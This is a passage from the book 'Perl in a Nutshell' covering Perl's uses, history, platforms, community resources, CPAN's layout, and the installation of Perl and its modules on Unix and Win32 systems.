On top of the Perl language itself, however, are the Perl modules. You can think of modules as add-ons to the Perl language that allow you to streamline tasks by providing a consistent API. Perl itself is fun to use, but the modules lend Perl even more flexibility and enormous power. Furthermore, anyone can write and distribute a Perl module. Some modules are deemed important enough or popular enough to be distributed with Perl itself, but very few are actually written by the core Perl developers themselves. Chapter 7, Packages, Modules, and Objects, introduces you to Perl modules, and Chapter 8, Standard Modules, covers the standard modules that are distributed with Perl itself.

The most popular Perl module is CGI.pm, which gives a simple interface to developing CGI (common gateway interface) applications in Perl. While Perl itself is indispensable for many different tasks, its text-manipulation features make it perfect for CGI development on the Web. In fact, the resurgence of Perl over the past few years must be credited to its popularity as a CGI language. Chapter 10, The CGI.pm Module, and Chapter 11, Web Server Programming with mod_perl, talk about using Perl for CGI, including mod_perl, which merges Perl into the Apache web server.

Database interconnectivity is one of the most important functions of any programming language today, and Perl is no exception. DBI is a suite of modules that provide a consistent database-independent interface for Perl. Chapter 12, Databases and Perl, covers both DBI and DBM (the more primitive but surprisingly effective database interface built directly into Perl).

The Internet doesn't start and stop at CGI. Network programming is another of Perl's strengths, with a robust sockets interface and several modules for writing clients and servers for all sorts of Internet services - not only the Web, but also email, news, FTP, etc. Chapter 13, Sockets, through Chapter 17, The LWP Library, cover the modules for developing fully functional Internet applications in Perl.

Perl programs are traditionally command-line-based, but the Perl/Tk extension can provide Perl programs with graphical user interfaces, for both Unix and Microsoft Windows. Chapter 18, Perl/Tk, gives a complete reference to Perl/Tk.

Finally, although Perl is primarily developed for Unix, recent releases of Perl for Windows 95 and Windows NT are gaining popularity, both for CGI and system administration tasks. Chapter 19, Win32 Modules and Extensions, covers the Win32 modules for Perl. Web developers on Win32 machines can use a variation of Perl called PerlScript, for JavaScript-like programming over the Web. Chapter 20, PerlScript, gives an introduction to PerlScript and summarizes its syntax and functions.

As you may have noticed, this section entitled "What's Perl Good For" has sneakily become a description of the contents of this book. This book aims at being a general-purpose reference to all things Perl.

Previous: I. Getting Started | Perl in a Nutshell | Next: 1.2 Perl Development
I. Getting Started | Book Index | 1.2 Perl Development


[Chapter 1] 1.2 Perl Development

Perl in a Nutshell

Perl in a NutshellSearch this book

1.2 Perl Development

Software doesn't grow on trees. Perl is free because of the donated efforts of several generous persons who have devoted large chunks of their spare time to the development, maintenance, and evangelism of Perl.

Perl itself was created by Larry Wall, in an effort to produce reports for a bug-reporting system. Larry designed a new scripting language for this purpose, and then released it to the Internet, thinking that someone else might find it useful. In the spirit of freeware, other people suggested improvements and even ways to implement them, and Perl transformed from a cute scripting language into a robust programming language.

Today, Larry does little actual development himself, but he is the ringleader of a core development team known as the Perl Porters. The Porters determine which new features should be added and which pesky bugs should be fixed. To keep it from being a free-for-all, there is generally one person who is responsible for delivering the next release of Perl, with several "development releases" in the interim.

Previous: 1.1 What's Perl Good For? | Perl in a Nutshell | Next: 1.3 Which Platforms Support Perl?
1.1 What's Perl Good For? | Book Index | 1.3 Which Platforms Support Perl?


[Chapter 1] 1.3 Which Platforms Support Perl?

Perl in a Nutshell

Perl in a NutshellSearch this book

1.3 Which Platforms Support Perl?

While Perl was developed on Unix and is closely entwined with Unix culture, it also has a strong following on the Windows and Macintosh platforms. Perl gives Windows 95, Windows NT, Macintosh, and even VMS users the opportunity to take advantage of the scripting power that Unix users take for granted.

Most Unix machines will have Perl already installed, since it's one of the first things a Unix system administrator will build for a new machine (and is in fact distributed with the operating system on some versions of Unix, such as Linux and FreeBSD). For Windows NT, Windows 95, and Macintosh, there are binary distributions of Perl that you can download for free. See Chapter 2 for information on installing Perl.

Although there is some history of other platforms not being treated seriously by the Perl community, Perl is becoming increasingly friendly to non-Unix platforms. The Win32 ports of Perl are quite stable, and as of Perl 5.005, are integrated wholly with core Perl. MacPerl integration is expected with Perl 5.006.

Previous: 1.2 Perl Development | Perl in a Nutshell | Next: 1.4 Perl Resources
1.2 Perl Development | Book Index | 1.4 Perl Resources


[Chapter 1] 1.4 Perl Resources

Perl in a Nutshell

Perl in a NutshellSearch this book

1.4 Perl Resources

Paradoxically, the way in which Perl helps you the most has almost nothing to do with Perl itself, and everything to do with the people who use Perl. While people start using Perl because they need it, they continue using Perl because they love it.

The result is that the Perl community is one of the most helpful in the world. When Perl programmers aren't writing their own programs, they spend their time helping others write theirs. They discuss common problems and help devise solutions. They develop utilities and modules for Perl, and give them away to the world at large.

1.4.1 The comp.lang.perl.* Newsgroups

The central meeting place for Perl aficionados is Usenet. If you're not familiar with Usenet, it's a collection of special-interest groups (called newsgroups) on the Internet. For most anyone using a modern browser, Usenet access is as simple as a selecting a menu option on the browser. Perl programmers should consider subscribing to the following newsgroups:

comp.lang.perl.announce

A moderated newsgroup with announcements about new utilities or products related to Perl.

comp.lang.perl.misc

The general-purpose newsgroup devoted to non-CGI-related Perl programming questions.

comp.lang.perl.moderated

A moderated newsgroup intended to be a forum for more controlled, restrained discussions about Perl.

comp.lang.perl.modules

A newsgroup devoted to using and developing Perl modules.

comp.lang.perl.tk

A newsgroup concentrating on Perl/Tk, the graphical extension to Perl.

comp.infosystems.www.authoring.cgi

A newsgroup for CGI questions in general, but mostly Perl-related ones.

At some point, it seems like every Perl programmer subscribes to comp.lang.perl.misc. You may eventually abandon it if the discussion becomes too detailed, too belligerent, or too bizarre for your taste. But you'll likely find yourself coming back from time to time, either to ask a question or just to check out the latest buzz.

One bit of advice, however: before posting questions to comp.lang.perl.misc (or any newsgroup, for that matter), you should read the group for a few days and read the FAQ (Frequently Asked Questions list - see the next section). The comp.lang.perl.* newsgroups are a wonderful resource if you have an interesting or unusual question, but no one can save you if you ask something that's covered in the FAQ.

By the way, if you're a first-time poster to comp.lang.perl.misc, you shouldn't be surprised if you receive an email message listing various resources on Perl that you may not know about. This is done via an "auto-faq" service, which scans all postings and sends this helpful email to anyone who hasn't posted earlier.

1.4.2 Frequently Asked Questions Lists (FAQs)

A FAQ is a Frequently Asked Questions list, with answers. FAQs are traditionally associated with Usenet newsgroups, but the term has since been adopted by web sites, technical support departments, and even health care pamphlets. In general, FAQs are written and maintained on a volunteer basis by dedicated (and generous) members of the community. The comp.lang.perl.misc FAQ (also known as the Perl FAQ) is maintained by Tom Christiansen and Nathan Torkington.

The Perl FAQ was created to minimize traffic on the comp.lang.perl.misc newsgroup, when it became clear that the same questions were being asked over and over again. However, the FAQ has transcended into a general-purpose starting point for learning anything about Perl.

The FAQ is distributed in several different formats, including HTML, PostScript, and plain ASCII text. You can find the FAQ at several places:

  • The main source is located at http://www.perl.com/perl/faq/.

  • On CPAN, you can find it in /CPAN/doc/FAQs/FAQ/. (See Chapter 2 for more information on CPAN.)

  • On a semi-regular basis, the latest version of the FAQ is posted on comp.lang.perl.misc.

In addition to the comp.lang.perl.misc FAQ, there are also several niche FAQs that are Perl-related. They are:

Perl CGI Programming FAQ

http://www.perl.com/CPAN-local/doc/FAQs/cgi/perl-cgi-faq.html

Perl/TK FAQ

http://w4.lns.cornell.edu/~pvhp/ptk/ptkTOC.html

Perl for Win32 FAQ

http://www.ActiveState.com/support/faqs/win32/

Perl for the Mac FAQ

http://www.perl.com/CPAN/doc/FAQs/mac/MacPerlFAQ.html

1.4.3 Mailing Lists

Several mailing lists are focused on more specialized aspects of Perl. Like Usenet newsgroups, mailing lists are discussion groups, but the discussion takes place over email. In general, mailing lists aren't as convenient as newsgroups, since a few hundred mail messages a day about Perl can become intrusive to any but the most obsessive Perl hackers. However, because mailing lists tend to have much smaller and more focused distributions, you'll find that they can sometimes be much more interesting and helpful than newsgroups.

There are tons of mailing lists for Perl users and developers alike. Some are specific to a particular module or distribution, such as the mailing lists for users of CGI.pm, LWP, DBI, or mod_perl. Other mailing lists discuss using Perl on non-Unix platforms such as Windows, Macintosh or VMS. Still more mailing lists are devoted to the development and advocacy of Perl in general. To find a mailing list for your topic, look in the documentation or README of a module distribution, look in the Perl FAQ, or just ask someone.

Many of these mailing lists also have a "digest" version, which means that instead of receiving individual email messages all day long, you receive a few "digests" of the messages on a regular basis. Digests of a mailing list might be preferable to the minute-by-minute onslaught of email throughout the day, depending on how involved you are in the discussion.

1.4.4 www.perl.com

There are countless web pages devoted to Perl, but probably the most useful entry site to Perl resources is www.perl.com. Formerly maintained by Tom Christiansen, www.perl.com is now maintained by Tom with help from O'Reilly & Associates (the publisher of this book). From www.perl.com, you can access Perl documentation, news, software, FAQs, articles, and (of course) Perl itself.

1.4.5 The Perl Institute (www.perl.org)

Although the URLs are similar, don't confuse www.perl.com with the Perl Institute, www.perl.org. The Perl Institute is a member-supported organization for Perl programmers to help drive Perl development and improve Perl's visibility. Membership dues range from $32 for students to $4096 for corporate sponsors (yes, all membership fees are a power of $2).

1.4.6 Perl Mongers

User groups for Perl call themselves "Perl Mongers," and have been sprouting up in major cities over the past few years. They range from small groups of Perl aficionados socializing at cafes, to large organizations sponsoring guest speakers. Cities with Perl Mongers groups currently include New York, London, Amsterdam, Boston, Chicago, Philadelphia, and Boulder.

1.4.7 The Perl Journal

The Perl Journal, published by Jon Orwant, is a quarterly publication with articles and news about Perl. You can find the Perl Journal in some technical bookstores. You can also subscribe by sending email to subscriptions@tpj.com or by visiting www.tpj.com.

1.4.8 Perl Conferences

For years, Usenix has devoted tracks of its conferences to Perl. However, starting in 1997, O'Reilly & Associates has been hosting conferences dedicated entirely to Perl. You can learn more about Perl conferences from www.perl.com.

1.4.9 Books

There are many books written on Perl. In fact, the current popularity of Perl is often credited to the original publication of Programming Perl, also known as "The Camel" (because of the animal on its cover), by Larry Wall and Randal Schwartz.[1] The Camel is also published by O'Reilly & Associates. The Camel isn't the best place to start if you're just learning Perl from scratch, but it's essential if you want to really understand Perl and not just dabble in it.

[1] The first edition of Programming Perl is also known as the Pink Camel, because of the color of the spine. The second edition is known as the Blue Camel, and is written by Larry Wall, Tom Christiansen, and Randal Schwartz.

Other Perl books published by O'Reilly & Associates are Learning Perl ("The Llama"), Advanced Perl Programming, Perl Cookbook, Managing Regular Expressions, Learning Perl on Win32 Systems, Learning Perl/Tk, Web Client Programming with Perl, and CGI Programming with Perl.

See http://www.perl.com/ for an archive of reviews of Perl-related books.

Previous: 1.3 Which Platforms Support Perl? | Perl in a Nutshell | Next: 2. Installing Perl
1.3 Which Platforms Support Perl? | Book Index | 2. Installing Perl


[Chapter 2] Installing Perl

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 1.4 Perl Resources Chapter 2 Next: 2.2 How Is CPAN Organized?

2. Installing Perl

Contents:
The CPAN Architecture
How Is CPAN Organized?
Installing Perl
Getting and Installing Modules
Documentation

The best things in life are free. So is Perl. Although you can get a bundled Perl distribution on CD-ROM, most people download Perl from an online archive. CPAN, the Comprehensive Perl Archive Network, is the main distribution point for all things Perl. Whether you are looking for Perl itself, for a module, or for documentation about Perl, CPAN is the place to go, at http://www.perl.com/CPAN/. The ongoing development and enhancement of Perl is very much a cooperative effort, and CPAN is the place where the work of many individuals comes together.

2.1 The CPAN Architecture

CPAN represents the development interests of a cross-section of the Perl community. It contains Perl utilities, modules, documentation, and (of course) the Perl distribution itself. CPAN was created by Jarkko Hietaniemi and Andreas König.

The home system for CPAN is funet.fi, but CPAN is also mirrored on many other sites around the globe. This ensures that anyone with an Internet connection can have reliable access to CPAN's contents at any time. Since the structure of all CPAN sites is the same, a user searching for the current version of Perl can be sure that the latest.tar.gz file is the same on every site.

The easiest way to access CPAN is to utilize the CPAN multiplex service at www.perl.com. The multiplexor tries to connect you to a local, fast machine on a large bandwidth hub. To use the multiplexor, go to http://www.perl.com/CPAN/; the multiplexor will automatically route you to a site based on your domain.

If you prefer, you can choose a particular CPAN site, instead of letting the multiplexor choose one for you. To do that, go to the URL http://www.perl.com/CPAN (no trailing slash). When you omit the trailing slash, the CPAN multiplexor presents a menu of CPAN mirrors from which you select the one you want. It remembers your choice next time.

If you want to use anonymous FTP, the following machines should have the Perl source code plus a copy of the CPAN mirror list:

ftp.perl.com
ftp.cs.colorado.edu
ftp.cise.ufl.edu
ftp.funet.fi
ftp.cs.ruu.nl

The location of the top directory of the CPAN mirror differs on these machines, so look around once you get there. It's often something like /pub/perl/CPAN.

If you don't have reliable Internet access, you can also get CPAN on CD as part of O'Reilly's Perl Resource Kit. In addition to CPAN itself, the Perl Resource Kit CD includes a tool for simple installation and update of Perl modules. See http://perl.oreilly.com/ for more information.

Previous: 1.4 Perl Resources | Perl in a Nutshell | Next: 2.2 How Is CPAN Organized?
1.4 Perl Resources | Book Index | 2.2 How Is CPAN Organized?


[Chapter 2] 2.2 How Is CPAN Organized?

Perl in a Nutshell

Perl in a NutshellSearch this book

2.2 How Is CPAN Organized?

CPAN materials are grouped into categories, including Perl modules, distributions, documentation, announcements, ports, scripts, and contributing authors. Each category is linked to related categories. For example, links to a graphing module written by an author appear in both the module and the author areas.

Since CPAN provides the same offerings worldwide, the directory structure has been standardized; files are located in the same place in the directory hierarchy at all CPAN sites. All CPAN sites use CPAN as the root directory, from which the user can select a specific Perl item.

From the CPAN directory you have the following choices:

CPAN.html       CPAN info page; lists what's available
                in CPAN and describes each of the modules
ENDINGS         Description of the file extensions, such as .tar, .gz, and .zip
MIRRORED BY     A list of sites mirroring CPAN
MIRRORING.FROM  A list of sites mirrored by CPAN
README          A brief description of what you'll find on CPAN
README.html     An HTML-formatted version of the README file
RECENT          Recent additions to the CPAN site
RECENT.DAY      Recent additions to the CPAN site (daily)
RECENT.html     An HTML-formatted list of recent additions
RECENT.WEEK     Recent additions to the CPAN site (weekly)
ROADMAP         What you'll find on CPAN and where
ROADMAP.html    An HTML-formatted version of ROADMAP
SITES           An exhaustive list of CPAN sites
SITES.html      An HTML-formatted version of SITES
authors         A list of CPAN authors
clpa            An archive of comp.lang.perl.announce
doc             Various Perl documentation, FAQs, etc.
indices         All that is indexed.
latest.tar.gz   The latest Perl distribution sources
misc            Misc Perl stuff like Larry Wall quotes and gifs
modules         Modules for Perl version 5
other-archives  Other things yet uncategorized
ports           Various Perl ports
scripts         Various scripts appearing in Perl books
src             The Perl sources from various versions

To get the current Perl distribution, click on latest.tar.gz. For ports to other systems, click on ports. The modules link is the one you want if you're looking for a Perl module - from there you can get a full list of the modules, or you can access the modules directly by author, by CPAN category, or by module. (Section 2.4, "Getting and Installing Modules" later in this chapter talks about installing modules.) Click on doc for Perl documentation, FAQs, etc.

Previous: 2.1 The CPAN Architecture | Perl in a Nutshell | Next: 2.3 Installing Perl
2.1 The CPAN Architecture | Book Index | 2.3 Installing Perl


[Chapter 2] 2.3 Installing Perl

Perl in a Nutshell

Perl in a NutshellSearch this book

2.3 Installing Perl

Most likely your system administrator is responsible for installing and upgrading Perl. But if you are the system administrator, or you want to install Perl on your own system, sooner or later you will find yourself installing a new version of Perl.

NOTE: If you have been running Perl, and you are now going to install Perl 5.005, you need to be aware that it is not binary-compatible with older versions. This means that you must rebuild and reinstall any dynamically loaded extensions that you built under earlier versions.

Specific installation instructions come in the README and INSTALL files of the Perl distribution kit. If you don't already have the Perl distribution, you can download it from CPAN - the latest Unix distribution is in latest.tar.gz. The information in this section is an overview of the installation process. The gory details are in the INSTALL file, which you should look at before starting, especially if you haven't done an installation before. Note that operating systems other than Unix may have special instructions; if so, follow those instructions instead of what's in this section or in INSTALL. Look for a file named README.xxx, where xxx is your OS name.

In addition to Perl itself, the standard distribution includes a set of core modules that are automatically installed with Perl. See Section 2.4" later in this chapter for how to install modules that are not bundled with Perl; Chapter 8, Standard Modules, describes the standard modules in some detail.

2.3.1 Installing on Unix

Typically, you'll get the Perl kit packed as either a tar file or as a set of shar (shell archive) scripts; in either case, the file will be in a compressed format. If you got your version of Perl directly from CPAN, it is probably in "tar-gzipped" format; tar and gzip are popular Unix data-archiving formats. In any case, once you've downloaded the distribution, you need to uncompress and unpack it. The filename indicates what kind of compression was used. A .Z extension indicates you need to uncompress the file first, while a .gz extension indicates you need to gunzip the file. You then unpack the file as appropriate, read the README and INSTALL files, and run a massive shell script called Configure, which tries to figure out everything about your system and creates the file Config.pm to store the information. After this is done, you do a series of "makes" to find header file dependencies, to compile Perl (and a2p, which translates awk scripts to Perl), to run regression tests, and to install Perl in your system directories.

One common problem is not making sure that Perl is linked against all the libraries it needs to build correctly. Also, you should say "yes" when Configure asks if you want dynamic loading, if your system supports it. Otherwise, you won't be able to install modules that use XS, which provides an interface between Perl and C.

If you are running Linux, some Linux distributions might not include a complete MakeMaker, which you need for installing modules. To be safe, you should make sure everything is there; one way to do that is to check the Config.pm file. If MakeMaker is not correctly installed, you might need to build Perl yourself.

It's possible you'll get a compiled (binary) copy of Perl, rather than the source. In that case, make sure you get suidperl, a2p, s2p, and the Perl library routines. Install these files in the directories that your version was compiled for. Note that binary distributions of Perl are made available because they're handy, not because you are restricted from getting the source and compiling it yourself. The people who give you the binary distribution ought to provide you with some form of access to the source, if only a pointer to where they got the source. See the Copying file in the distribution for more information.

2.3.1.1 Perl examples

The Perl source distribution comes with some sample scripts in the eg/ subdirectory. Feel free to browse among them and use them. They are not installed automatically, however, so you need to copy them to the appropriate directory and possibly fix the #! line to point to the right interpreter.

The files in the t/ and lib/ subdirectories, although arcane in spots, can also serve as examples.

2.3.1.2 Patches

Since Perl is constantly being honed and improved, patches are sometimes made available through CPAN. Your distribution is likely to have had most of the patches applied already - run perl -v to check the patch level of your distribution. Patches are sent out with complete instructions on how to apply them using patch, which is available from the GNU project.

2.3.2 Installing on Win32

You need to obtain and install a copy of Perl yourself, unless you have had the good fortune of having a system administrator install Perl on your system.

For Perl 5.004, there are two different distributions for Win32 systems. The first is Perl for Win32, which was developed by ActiveState Tool Corporation. The second is actually the standard Perl distribution - Perl 5.004 added support for Win32 systems to the standard Perl distribution. In Perl 5.004, the two versions are largely compatible, with some of the Perl 5.004 code being based on the ActiveState port. However, there are also some differences: using either the ISAPI version of Perl or PerlScript with 5.004 requires the ActiveState distribution. On the other hand, the Win32 ports of mod_perl or Perl/Tk require the "native" (or standard) version of 5.004.

With Perl 5.005, this scenario has changed, and the two versions have been merged. If you look on CPAN, you'll see that there still seem to be two versions - the ActiveState distribution, now known as ActivePerl, and the standard distribution. The difference is that they are now based on the same source code. Get ActivePerl if you want to install from a binary distribution or get the standard distribution to build Perl from the source code.

2.3.2.1 ActivePerl

The canonical source for the ActivePerl distribution at the time of this writing is at http://www.activestate.com/. Included in the distribution are:

Perl for Win32

Binary for the core Perl distribution

Perl for ISAPI

IIS plug-in for use with ISAPI-compliant web servers

PerlScript

ActiveX scripting engine

Perl Package Manager

Manager for Perl modules and extensions

The ActivePerl binary comes as a self-extracting executable that uses the standard Win32 InstallShield setup wizard to guide you through the installation process. By default, Perl is installed into the directory C:\Perl\version, where version is the current version number (e.g., 5.005). Unless you choose to customize your setup, the default installation does not modify your registry other than to add an entry so you can uninstall Perl. For information on customizing your installation, see the Win32 FAQ on the ActiveState web site. The installation also associates the file extension .pl with Perl and adds the directory into which you installed Perl to your PATH environment variable.

2.3.2.2 Standard Perl distribution

The standard Perl distribution is available from CPAN, where you'll find binary and source distributions for Perl 5.004 for both Windows NT and Windows 95, and the source distribution for Perl 5.005. You can get the binary for Perl 5.004 as either a .tar.gz file or a .zip file. The source distributions come as .tar.gz files, which you can extract using a utility that supports gzip files, tar files, and long filenames. Ports of both GNU gzip and tar are available for the various Win32 platforms, or you can use a graphical zip archive program such as WinZip. Make sure you preserve the directory structure when you unpack the distribution.

To install from the source, you need the Microsoft Visual C++ compiler, the Borland C++ compiler, or Mingw32 with either EGCS or GCC. You also need a make utility. Microsoft Visual C++ comes with nmake, or you can use dmake.[1] Once you have the distribution, start by reading the file README.win32. Next, edit the file Makefile in the win32 subdirectory of the distribution and make sure that you're happy with the values for the install drive and directory.

[1] See the file README.win32 for information on obtaining Mingw32 and a Win32 dmake port.

Then execute the following commands from the win32 subdirectory of the distribution to build, test, and install the distribution. This example assumes that you have the proper environment variables (LIB, INCLUDE, etc.) set up for your compiler and that nmake is your make program.

> nmake         Build all of Perl
> nmake test    Test your distribution
> nmake install Install to target directory, as specified in the Makefile

Assuming everything is now built correctly, you just need to add the bin subdirectory of the installation target directory to your path. For example, if you installed the Perl distribution to C:\Perl, you'll want to add C:\Perl\bin to your path.

Finally, restart your machine so the environment changes take effect, and you're ready to go.

If you want to install the Perl 5.004 binary, you can do so either from the command line or from Windows. To install from the command line, cd to the top level of the directory into which you unpacked Perl and type:

% install

From a window, click on the install.bat icon. That should initiate the installation, but if it doesn't, it will put you into the command shell in the correct directory. At that point, type:

> perl\bin\rl install.bat

The setup script then asks you a few questions such as where you want to install Perl and whether you want to install HTML versions of the documentation. It then confirms your responses and does the installation. When it's done, it gives you some information about setting environment variables and then terminates. At that point, you can start running Perl scripts.

A word of warning: Windows 95 users can expect significantly different functionality from their Perl distribution than Windows NT users. For various reasons, some of the Win32 modules don't work on Windows 95. The functionality required to implement them may be missing on Windows 95, or bugs in Windows 95 may prevent them from working correctly.

Previous: 2.2 How Is CPAN Organized? | Perl in a Nutshell | Next: 2.4 Getting and Installing Modules
2.2 How Is CPAN Organized? | Book Index | 2.4 Getting and Installing Modules


[Chapter 2] 2.4 Getting and Installing Modules

Perl in a Nutshell

Perl in a NutshellSearch this book

2.4 Getting and Installing Modules

As you'll see when you look at the lists of modules and their authors on CPAN, many users have made their modules freely available. If you find an interesting problem and are thinking of writing a module to solve it, check the modules directory on CPAN first to see if there is a module there that you can use. The chances are good that there is either a module already that does what you need, or perhaps one that you can extend, rather than starting from scratch.[2]

[2] If you are interested in writing and contributing modules, there are several places that serve as good starting points for learning to do that - see the perlmodlib manpage, the "Perl 5 Module List," and the "Perl Authors Upload Server" (http://www.perl.com/CPAN/modules/04pause.html).

Before you download a module, you might also check your system to see if it's already installed. The following command searches the libraries in the @INC array and prints the names of all modules it finds:

find `perl -e 'print "@INC"'` -name '*.pm' -print

2.4.1 Locating modules

If you start from the modules directory on CPAN, you'll see that the modules are categorized into three subdirectories:

by-authors       Modules by author's registered CPAN name
by-category      Modules by subject matter (see below)
by-module        Modules by namespace (i.e., MIME)

If you know what module you want, you can go directly to it by clicking on the by-module entry. If you are looking for a module in a particular category, you can find it through the by-category subdirectory. If you know the author, click on by-author. However, if you aren't familiar with the categories and you want to find out if there is a module that performs a certain task, you might want to get the file 00modlist.long.html, also in the modules directory. That file is the "Perl 5 Modules List." It contains a list of all the modules, by category, with a brief description of the purpose of each module and a link to the author's CPAN directory for downloading.

Here is a list of the categories; there are currently 22 categories, plus one for modules that don't fit anywhere else:

02_Perl_Core_Modules
03_Development_Support
04_Operating_System_Interfaces
05_Networking_Devices_Inter_Process
06_Data_Type_Utilities
07_Database_Interfaces
08_User_Interfaces
09_Interfaces_to_Other_Languages
10_File_Names_Systems_Locking
11_String_Processing_Language_Text_Process
12_Option_Argument_Parameter_Processing
13_Internationalization_and_Locale
14_Authentication_Security_Encryption
15_World_Wide_Web_HTML_HTTP_CGI
16_Server_and_Daemon_Utilities
17_Archiving_and_Compression
18_Images_Pixmap_Bitmap_Manipulation
19_Mail_and_Usenet_News
20_Control_Flow_Utilities
21_File_Handle_Input_Output
22_Microsoft_Windows_Modules
23_Miscellaneous_Modules
99_Not_In_Modulelist

If you are in the by-categories subdirectory and have selected an area from which you'd like to download a module, you'll find a list of the files in the directory. tar files have a .tar.gz extension, and README files have a .readme extension. You'll generally find a README file for each module; take a look at it before you decide to download the file.

Here's a sample directory listing from category 15:

ANDK
CGI-Out-96.081401.readme
CGI-Out-96.081401.tar.gz
CGI-Response-0.03.readme
CGI-Response-0.03.tar.gz
CGI-modules-2.75.readme
CGI-modules-2.75.tar.gz
CGI-modules-2.76.readme
CGI-modules-2.76.tar.gz
CGI.pm-2.32.readme
CGI.pm-2.33.readme
CGI.pm-2.34.readme
CGI.pm-2.35.readme
CGI.pm-2.35.tar.gz
CGI.pm-2.36.readme
CGI.pm-2.36.tar.gz
CGI_Imagemap-1.00.readme
CGI_Imagemap-1.00.tar.gz
CGI_Lite-1.62.pm.gz
DOUGM
LDS
MGH
MIKEH
MUIR
SHGUN

You'll notice that multiple versions are sometimes listed - for example, CGI.pm has versions 2.35 and 2.36 available. Generally this is to ease the transition to a new version of the module.

Select the .readme file of the most current archive and review its contents carefully. README files often give special instructions about building the module; they warn you about other modules needed for proper functioning and if the module can't be built under certain versions of Perl. If you're satisfied with what you read, download the file.

2.4.2 Module Installation

If you're running the standard distribution of Perl, either on a Unix or Win32 system, and you want to install a module, this section explains how to do it. If you are running the ActiveState Win32 port, see the next section.

Before installing modules, you should understand at least a little about make. make is a command designed to automate compilations; it guarantees that programs are compiled with the correct options and are linked to the current version of program modules and libraries. But it's not just for programmers - make is useful for any situation where there are dependencies among a group of related files.

make uses a file known as a Makefile, which is a text file that describes the dependencies and contains instructions that tell make what to do. A Perl programmer who writes a module creates a file called Makefile.PL that comes with the module when you download it. Makefile.PL is a Perl script that uses another module, ExtUtils::MakeMaker (generally just referred to as MakeMaker), to generate a Makefile specific to that module on your system.

Before you can actually install the module, you need to decide where it should go. Modules can be installed either globally, for everyone to use, or locally, for your own use. Most system administrators install popular software, including Perl modules, to be globally available. In that case, the modules are generally installed in a branch of the lib directory with the rest of the Perl libraries.

If you have root privileges or write access to the locations where Perl modules are installed on your system, you can proceed to move the downloaded module file to the correct directory and run gunzip and tar to unpack it. Then cd to the module directory and check any README or INSTALL files, and check the MANIFEST file to be sure everything is there. If all is well, you can then run the following to complete the installation:

% perl Makefile.PL
% make
% make test
% make install

It's possible that you'll need to customize Makefile.PL before running it. If so, see the discussion of ExtUtils::MakeMaker in Chapter 8.

If you are going to install the module locally (for example, if you don't have permission to install globally or you want to test it locally before installing it for general use), you need to pass a PREFIX argument to Perl when you run Makefile.PL to generate the Makefile. This argument tells MakeMaker to use the directory following PREFIX as the base directory when installing the module.

For example, to install a module in the directory /home/mydir/Perl/Modules, the PREFIX argument would look like this:

% perl Makefile.PL PREFIX=/home/mydir/Perl/Modules

Then follow the remaining steps as above:

% make
% make test
% make install

The module is now available, but when you write Perl code to use the module, there's another detail to take care of. Since Perl looks in system-wide directories as specified in the special array @INC, it won't find local modules unless you tell it where they are. Instead, you'll receive an error message like the following:

Can't locate <ModuleName>.pm in @INC.
BEGIN failed--compilation aborted.

Thus, if you installed the module in /home/mydir/Perl/Modules, you need to tell Perl to look in that location with the command use lib 'path':

#!/usr/local/bin/perl -w
use lib '/home/mydir/Perl/Modules';
use ModuleName;

2.4.3 Installing Modules with ActiveState Perl

Prior to Perl 5.005, ActiveState's Perl for Win32 did not support the use of MakeMaker. If you are running Perl 5.004 (or earlier), this prevents you from installing some modules. Others can be installed manually by making sure all the files that come in the module distribution are placed in the correct libraries. The documentation that comes with the module may help you determine if you can install it and what you need to do.

With 5.005, you can now use MakeMaker to install the modules, or you can use the Perl Package Manager that comes with ActivePerl.

2.4.3.1 Using MakeMaker

To install a module using MakeMaker, follow the procedure described earlier for installing when you are running the standard distribution, replacing make with nmake or dmake as appropriate.

2.4.3.2 Using the Perl Package Manager

The Perl Package Manager (PPM) provides a command-line interface for obtaining and installing Perl modules and extensions. To run PPM, connect to the site (such as CPAN or the CD that comes with the Perl Resource Kit for Win32) that contains the modules you are interested in, and type:

perl ppm.pl

The PPM prompt appears, and you can begin to enter PPM commands. The available commands are:

help [command]

Prints the list of commands and what they do, or help for a particular command.

install packages

Installs the specified packages.

quit

Leaves the Perl Package Manager.

remove packages

Removes the specified packages from the system.

search

Searches for information about available packages.

set

Sets or displays current options.

verify

Verifies that your current installation is up-to-date.

2.4.4 Installing Modules with the CPAN Module

If you are just getting and installing one or a few modules, it's not a big problem to do it manually. But if you don't want to deal with doing it all manually, or if you are maintaining an entire Perl installation, there is an easier way - you can use the CPAN module. The CPAN module (CPAN.pm) can be used interactively from the command line to locate, download, and install Perl modules, or to identify modules and authors. CPAN.pm was designed to automate the installation of Perl modules; it includes searching capabilities and the ability to retrieve files from one or more of the mirrored CPAN sites and unpack them in a dedicated directory.

To run the CPAN module interactively, enter:

% perl -MCPAN -eshell

The first time you use the CPAN module, it takes you through a series of setup questions and writes a file called MyConfig.pm in a subdirectory of your home directory that defaults to ~/.cpan/CPAN/MyConfig.pm. After that, whenever you use the CPAN module for downloading other modules, it uses the .cpan directory as the general build and cache directory, saved as cpan_home in the configuration file. If ReadLine support is available (i.e., Term::ReadKey and Term::ReadLine are installed), you can use command history and command completion as you enter commands.

When the module runs and is ready for you to enter commands, you'll see the prompt:

cpan>

You can then enter h to get a brief help message, or just start entering commands. The commands are all methods in the CPAN::Shell package. For commands that can operate on modules, bundles, authors, or distributions, CPAN.pm treats arguments containing a slash (/) as distributions, arguments beginning with Bundle:: as bundles, and everything else as modules or authors.

The following is a listing of the interactive CPAN modules:

  • ?
  • !
  • a
  • autobundle
  • b
  • clean
  • d
  • force
  • h
  • i
  • install
  • look
  • m
  • make
  • o
  • q
  • r
  • readme
  • recompile
  • reload
  • test
  • u

Previous: 2.3 Installing Perl | Perl in a Nutshell | Next: 2.5 Documentation
2.3 Installing Perl | Book Index | 2.5 Documentation


[Chapter 2] 2.5 Documentation

Perl in a Nutshell

Perl in a NutshellSearch this book

2.5 Documentation

Perl documentation is written in a language known as pod (plain old documentation). Pod is a set of simple tags that can be processed to produce documentation in the style of Unix manpages. There are also several utility programs available that process pod text and generate output in different formats. Pod tags can be intermixed with Perl commands, or they can be saved in a separate file, which usually has a .pod extension. The pod tags and the utility programs that are included in the Perl distribution are described in Chapter 4, The Perl Language.

2.5.1 Installing the Documentation

